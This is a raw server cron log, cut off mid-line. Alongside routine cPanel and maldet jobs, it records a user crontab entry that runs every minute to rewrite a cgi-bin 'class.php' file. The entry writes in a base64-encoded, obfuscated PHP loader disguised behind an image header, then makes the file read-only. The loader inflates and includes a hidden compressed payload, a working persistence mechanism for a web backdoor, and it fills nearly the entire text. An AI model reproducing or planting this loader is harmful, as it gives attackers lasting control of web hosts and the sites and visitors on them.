Nov 14 22:21:01 server CROND[22134]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 22:22:01 server CROND[23062]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 22:23:01 server CROND[23989]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 22:24:01 server CROND[24620]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 22:25:01 server CROND[25317]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore &gt;/dev/null 2&gt;&amp;1)
Nov 14 22:25:01 server CROND[25316]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 22:25:01 server CROND[25318]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 22:25:01 server CROND[25319]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 22:26:01 server CROND[26391]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 22:27:01 server CROND[27324]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 14 22:27:01 server CROND[27325]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 22:28:01 server CROND[28256]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 22:29:01 server CROND[29182]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 22:30:01 server CROND[30131]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 22:30:01 server CROND[30132]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 22:30:01 server CROND[30134]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 22:30:01 server CROND[30135]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 22:31:01 server CROND[31051]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 22:32:01 server CROND[32244]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 22:33:01 server CROND[723]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 22:34:01 server CROND[1651]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo 